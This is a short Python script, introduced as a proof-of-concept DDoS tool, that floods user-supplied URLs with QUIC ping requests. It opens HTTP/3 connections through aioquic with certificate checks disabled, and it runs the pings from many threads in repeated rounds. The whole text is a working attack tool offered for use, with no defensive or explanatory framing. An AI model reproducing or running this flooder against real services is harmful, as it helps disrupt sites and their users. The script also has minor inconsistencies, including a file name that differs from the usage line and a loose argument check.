PoC DDoS using QUIC ping requests. Usage: python quic_ping_flood.py <threads> <url1> [<url2> ...]

quic_flood.py

import asyncio
import threading
import urllib.parse
import ssl
import sys

from aioquic.asyncio.protocol import QuicConnectionProtocol
from aioquic.asyncio import connect
from aioquic.quic.configuration import QuicConfiguration
from aioquic.quic.events import HandshakeCompleted, PingAcknowledged
from aioquic.h3.connection import H3_ALPN


# Classe che rappresenta il protocollo HTTP/3
class HTTP3Client(QuicConnectionProtocol):
    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.ready_event = asyncio.Event()
        self.ping_event = asyncio.Event()

    def quic_event_received(self, event):
        if isinstance(event, HandshakeCompleted):
            self.ready_event.set()
        elif isinstance(event, PingAcknowledged):
            print(f"Ping acknowledged by {self._quic.configuration.server_name}")
            self.ping_event.set()

async def send_request(configuration, url):
    parsed_url = urllib.parse.urlparse(url)
    hostname = parsed_url.hostname
    port = parsed_url.port or 443

    async with connect(
        hostname, port, configuration=configuration, create_protocol=HTTP3Client
    ) as protocol:
        await protocol.ready_event.wait()

        # Send a QUIC ping
        protocol._quic.send_ping(uid=1)
        protocol.transmit()
        await protocol.ping_event.wait()

async def main(urls):
    configuration = QuicConfiguration(is_client=True)
    configuration.alpn_protocols = H3_ALPN
    configuration.verify_mode = ssl.CERT_NONE
    
    num_requests = 10
    for i in range(num_requests):
        tasks = [send_request(configuration, url) for url in urls]
        await asyncio.gather(*tasks)

def start_thread(event_loop, urls):
    asyncio.set_event_loop(event_loop)
    event_loop.run_until_complete(main(urls))

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python quic_ping_flood.py <threads> <url1> [<url2> ...]")
        sys.exit(1)

    urls = sys.argv[2:]
    num_threads = int(sys.argv[1])

    loops = [asyncio.new_event_loop() for _ in range(num_threads)]
    threads = []
    for i in range(num_threads):
        t = threading.Thread(target=start_thread, args=(loops[i], urls))
        t.start()
        threads.append(t)
    for t in threads:
        t.join()